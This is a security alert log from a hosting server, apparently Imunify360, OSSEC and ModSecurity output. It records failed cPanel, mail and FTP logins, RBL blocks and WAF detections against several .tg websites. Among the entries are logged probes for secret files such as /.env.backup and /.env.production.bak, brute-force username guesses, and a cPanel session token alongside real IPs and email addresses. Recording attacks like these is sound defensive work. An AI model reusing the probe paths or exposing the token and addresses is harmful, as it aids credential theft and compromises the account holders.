name: Anti-bot protection. User passed successfully
abuser: 192.42.116.65
country_id: 2750405
description:
192.42.116.65 - egjvuiox [13/Jun/2026:18:54:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921896&pdata=https%253A%252F%252Fca-togo.org%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781376863 HTTP/2.0" 302 0 ca-togo.org "https://ca-togo.org:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.42.116.65


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.197.45.116
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:18-55.62.197.45.116||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 37.114.50.27
country_id: 2921044
description:
37.114.50.27 - ohuuvcqw [13/Jun/2026:18:56:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10209120&pdata=https%253A%252F%252Fdigilix.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781376992 HTTP/2.0" 302 0 digilix.tg "https://digilix.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:37.114.50.27


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 171.25.193.79
country_id: 2661886
description:
171.25.193.79 - njdbfcnn [13/Jun/2026:18:57:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9933409&pdata=https%253A%252F%252Ffestics.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781377036 HTTP/2.0" 302 0 festics.tg "https://festics.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:171.25.193.79


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 13 18:58:02 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.89.78
country_id: 2750405
description:
[2026-06-13 18:58:12 +0000] info [cpaneld] 217.181.89.78 - ygeaivhj "GET / HTTP/1.1" FAILED LOGIN cpaneld: User ygeaivhj has their account suspended. Login blocked.


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.126.54
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:184.174.126.54||TA:184.174.126.54||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.189.100.205
country_id: 2661886
description:
193.189.100.205 - hnefmnqz [13/Jun/2026:18:58:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10208922&pdata=https%253A%252F%252Fcommunewawa2.mairie.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781377106 HTTP/2.0" 302 0 communewawa2.mairie.tg "https://communewawa2.mairie.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.189.100.205


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.148.167.231
country_id: 1512440
description:
[2026-06-13 18:58:50 +0000] info [cpaneld] 31.148.167.231 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 151.254.73.234
country_id: 102358
description:
[2026-06-13 18:58:59 +0000] info [cpaneld] 151.254.73.234 - tilitula "GET /login/?login_only=1&user=tilitula&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tilitula (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.189.77
country_id: 3658394
description:
[2026-06-13 18:59:12 +0000] info [cpaneld] 157.100.189.77 - tili "GET /login/?login_only=1&user=tili&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tili (has_cpuser_file failed)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 207.90.244.10
country_id: 6252001
description:
Jun 13 18:58:57 ns5 pure-ftpd[2627554]: (?@207.90.244.10) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.190.224.216
country_id: 3996063
description:
[2026-06-13 18:59:05 +0000] info [cpaneld] 187.190.224.216 - tilitu "GET /login/?login_only=1&user=tilitu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tilitu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.9.254.104
country_id: 3686110
description:
[2026-06-13 18:59:02 +0000] info [cpaneld] 190.9.254.104 - tilitul "GET /login/?login_only=1&user=tilitul&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tilitul (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.75.229.140
country_id: 2802361
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:103.75.229.140||TA:103.75.229.140||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.28.65
country_id: 2750405
description:
[2026-06-13 18:59:31 +0000] info [cpaneld] 195.63.28.65 - phoicdxb "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.27.152
country_id: 2750405
description:
[2026-06-13 18:59:34 +0000] info [cpaneld] 195.63.27.152 - rdlizssu "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 109.196.160.69
country_id: 2510769
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:109.196.160.69||TA:109.196.160.69||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.37.21.224
country_id: 285570
description:
[2026-06-13 18:59:18 +0000] info [cpaneld] 37.37.21.224 - ti "GET /login/?login_only=1&user=ti&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ti (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.89.248
country_id: 2750405
description:
[2026-06-13 19:00:58 +0000] info [cpaneld] 217.181.89.248 - fgbegmfv "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.81.80
country_id: 6251999
description:
[2026-06-13 19:03:10 +0000] info [cpaneld] 217.181.81.80 - newglevfer "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.18.186
country_id: 6251999
description:
[2026-06-13 19:03:42 +0000] info [cpaneld] 195.63.18.186 - pnlpzmfv "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.42.116.115
country_id: 2750405
description:
192.42.116.115 - libertepansel [13/Jun/2026:19:04:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920298&pdata=https%253A%252F%252Flibertetogo.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781377474 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.42.116.115


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 13 19:04:58 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.43.73.234
country_id: 298795
description:
2026-06-13 19:04:25 dovecot_plain authenticator failed for H=(5r7jiwxv21jdjzlt9l8) [213.43.73.234]:55454: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.46.137
country_id: 2300660
description:
Jun 13 19:06:07 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.46.137 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.46.137
country_id: 2300660
description:
Jun 13 19:06:20 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.46.137 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.19.238.199
country_id: 6252001
description:
[2026-06-13 19:07:37 +0000] info [cpaneld] 149.19.238.199 - lxsenjdd_farms "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lxsenjdd_farms (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-07.213.32.21.59||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.27.222
country_id: 2750405
description:
[2026-06-13 19:08:58 +0000] info [cpaneld] 195.63.27.222 - moodlefreenetmas "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 129.212.225.47
country_id: 1880251
description:
[2026-06-13 19:09:45 +0000] info [cpaneld] 129.212.225.47 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.13.129.111
country_id: 3175395
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/26.jpeg HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.148.10.31
country_id: 2750405
description:
Jun 13 19:12:13 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.148.10.31 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.148.10.31
country_id: 2750405
description:
2026-06-13 19:12:15 dovecot_login authenticator failed for H=(WIN-JKGVN7T4E72) [45.148.10.31]:59507: 535 Incorrect authentication data (set_id=seee)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 13 19:13:14 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 208.69.78.7
country_id: 2658434
description:
[2026-06-13 19:14:02 +0000] info [cpaneld] 208.69.78.7 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.9.92
country_id: 597427
description:
2026-06-13 19:17:14 dovecot_plain authenticator failed for H=([141.98.9.92]) [141.98.9.92]:57334: 535 Incorrect authentication data (set_id=papson.fiatuwo@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.9.92
country_id: 597427
description:
Jun 13 19:17:12 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.9.92 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.181.11
country_id: 6252001
description:
[2026-06-13 19:17:47 +0000] info [cpaneld] 136.227.181.11 - sodegoz "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sodegoz (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.209.248.138
country_id: 798544
description:
Jun 13 19:18:05 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.209.248.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.9.92
country_id: 597427
description:
Jun 13 19:17:18 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.9.92 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.9.92
country_id: 597427
description:
2026-06-13 19:17:20 dovecot_login authenticator failed for H=([141.98.9.92]) [141.98.9.92]:57334: 535 Incorrect authentication data (set_id=papson.fiatuwo@mesyscom.com)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 141.98.9.92
country_id: 597427
description:
Jun 13 19:17:30 ns5 pure-ftpd[2637626]: (?@141.98.9.92) [WARNING] Authentication failed for user [papson.fiatuwo]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.209.248.138
country_id: 798544
description:
Jun 13 19:18:18 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.209.248.138 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 208.69.78.7
country_id: 2658434
description:
[2026-06-13 19:18:43 +0000] info [cpaneld] 208.69.78.7 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.23.108.58
country_id: 2921044
description:
[2026-06-13 19:19:09 +0000] info [whostmgrd] 89.23.108.58 - uc2c0dc13f0 "GET /cpsess6855513605/ HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to whm by a non-reseller/root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 13 19:20:08 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 19:20:09 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-21.213.32.21.59||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.253.251.72
country_id: 2921044
description:
[2026-06-13 19:22:36 +0000] info [whostmgrd] 80.253.251.72 - ua627257a08 "GET /cpsess4075164524/ HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to whm by a non-reseller/root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 208.69.78.7
country_id: 2658434
description:
[2026-06-13 19:23:27 +0000] info [cpaneld] 208.69.78.7 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.0.136.249
country_id: 3175395
description:
[2026-06-13 19:23:38 +0000] info [cpaneld] 194.0.136.249 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.208.139.201
country_id: 2921044
description:
[2026-06-13 19:24:14 +0000] info [whostmgrd] 85.208.139.201 - u57ce392ef5 "GET /cpsess3696116315/ HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to whm by a non-reseller/root


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 122.114.158.24
country_id: 1814991
description:
2026-06-13 19:26:13 H=(localhost.localdomain) [122.114.158.24]:35556 F=<system@wellcity.tg> rejected RCPT <info@wellcity.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.208.139.201
country_id: 2921044
description:
[2026-06-13 19:29:52 +0000] info [whostmgrd] 85.208.139.201 - u275c790bc1 "GET /cpsess3896930939/ HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to whm by a non-reseller/root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 208.69.78.7
country_id: 2658434
description:
[2026-06-13 19:31:48 +0000] info [cpaneld] 208.69.78.7 - trgtsjot "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user trgtsjot (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.253.251.72
country_id: 2921044
description:
[2026-06-13 19:31:35 +0000] info [whostmgrd] 80.253.251.72 - ue29fd8ead8 "GET /cpsess1902879876/ HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to whm by a non-reseller/root


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.196
country_id: 1880251
description:
47.128.96.196 - - [13/Jun/2026:19:33:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131906&pdata=https%253A%252F%252Fvitrinenews.tg%252F2026%252F06%252F13%252Ftogo-eau-hygiene-et-assainissement-la-ltpe-fait-le-diagnostic-dans-les-ecoles%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781379206 HTTP/2.0" 302 0 vitrinenews.tg "https://vitrinenews.tg/2026/06/13/togo-eau-hygiene-et-assainissement-la-ltpe-fait-le-diagnostic-dans-les-ecoles/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.196


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.172
country_id: 1880251
description:
47.128.96.172 - - [13/Jun/2026:19:34:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6709907&pdata=https%253A%252F%252Fvitrinenews.tg%252F2026%252F06%252F13%252Ftogo-entrepreneuriat-feminin-lafcet-celebre-25-ans-dimpact-de-ses-actions%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781379243 HTTP/2.0" 302 0 vitrinenews.tg "https://vitrinenews.tg/2026/06/13/togo-entrepreneuriat-feminin-lafcet-celebre-25-ans-dimpact-de-ses-actions/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.172


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 208.69.78.7
country_id: 2658434
description:
[2026-06-13 19:34:13 +0000] info [cpaneld] 208.69.78.7 - TECH3396082237 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user TECH3396082237 (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.162
country_id: 1880251
description:
47.128.96.162 - - [13/Jun/2026:19:34:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328473&pdata=https%253A%252F%252Fvitrinenews.tg%252F2026%252F06%252F13%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781379268 HTTP/2.0" 302 0 vitrinenews.tg "https://vitrinenews.tg/2026/06/13/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.162


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 208.69.78.7
country_id: 2658434
description:
[2026-06-13 19:34:25 +0000] info [cpaneld] 208.69.78.7 - Masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Masfloy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.253.251.72
country_id: 2921044
description:
[2026-06-13 19:35:21 +0000] info [whostmgrd] 80.253.251.72 - u6602026445 "GET /cpsess1659088638/ HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to whm by a non-reseller/root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
description:
[2026-06-13 19:39:49 +0000] info [cpaneld] 13.49.79.103 -  czqxxxnu  "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 34.35.22.190
country_id: 953987
domain: dev.centif.tg
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.16||T:APACHE||MV:.env~||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.35.22.190
country_id: 953987
domain: dev.centif.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/api/.env.backup||User:centif||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.225
country_id: 6252001
description:
Jun 13 19:40:38 ns5 pure-ftpd[2650769]: (?@205.210.31.225) [INFO] New connection from 205.210.31.225


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.155
country_id: 1880251
description:
47.128.96.155 - - [13/Jun/2026:19:41:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6984648&pdata=https%253A%252F%252Fca-togo.org%252Fimp%252Fenglish%252Findex1.php%253FpageID%253D16&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781379669 HTTP/2.0" 302 0 ca-togo.org "https://ca-togo.org/imp/english/index1.php?pageID=16" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.155


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.184.229.241
country_id: 3865483
description:
Jun 13 19:40:47 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.184.229.241 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.159.10.221
country_id: 2750405
description:
[2026-06-13 19:40:28 +0000] info [cpaneld] 45.159.10.221 - web_tv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user web_tv (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.123.59.164
country_id: 2186224
description:
[2026-06-13 19:43:38 +0000] info [cpaneld] 161.123.59.164 - aogodmm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.233.123.139
country_id: 2510769
description:
[2026-06-13 19:49:13 +0000] info [cpaneld] 172.233.123.139 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 122.114.158.24
country_id: 1814991
description:
2026-06-13 19:51:13 H=(localhost.localdomain) [122.114.158.24]:39674 F=<> rejected RCPT <system@wellcity.tg>: The mail server could not deliver mail to system@wellcity.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 154.121.154.31
country_id: 2589581
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bdbbfa5879f4b27b78eced4b559ec470415d7d90||Title:vls08wfjq9wpbrie||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.49.79.103
country_id: 2661886
description:
[2026-06-13 19:54:10 +0000] info [cpaneld] 13.49.79.103 - santenatures.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user santenatures.tg (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 154.121.154.31
country_id: 2589581
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f2e683fad65bbfd849700928ae881cd6f4016f6a||Title:8m1whdyqzu0slb1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.142.201.26
country_id: 2750405
description:
[2026-06-13 19:55:24 +0000] info [cpaneld] 45.142.201.26 - netflix "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netflix (has_cpuser_file failed)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.70.171
country_id: 2077456
domain: www.wages.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.prod.bak||User:aopsacai||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.150.3.232
country_id: 1819730
domain: togofarm.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/env.bak||User:ifxmoxbf||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 125.165.106.251
country_id: 1643084
description:
[2026-06-13 19:58:24 +0000] info [cpaneld] 125.165.106.251 - bilirando "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 125.165.106.251
country_id: 1643084
description:
[2026-06-13 19:58:33 +0000] info [cpaneld] 125.165.106.251 NEW bilirando:iIV0WenGL_O_R6Yf address=125.165.106.251,app=cpaneld,creator=bilirando,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.27.42.6
country_id: 6252001
description:
[2026-06-13 19:58:39 +0000] info [cpaneld] 34.27.42.6 - mesyscomcom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.150.3.232
country_id: 1819730
domain: togofarm.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.production.bak||User:ifxmoxbf||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 162.243.23.83
country_id: 6252001
description:
Jun 13 20:00:35 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 162.243.23.83 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.243.23.83
country_id: 6252001
description:
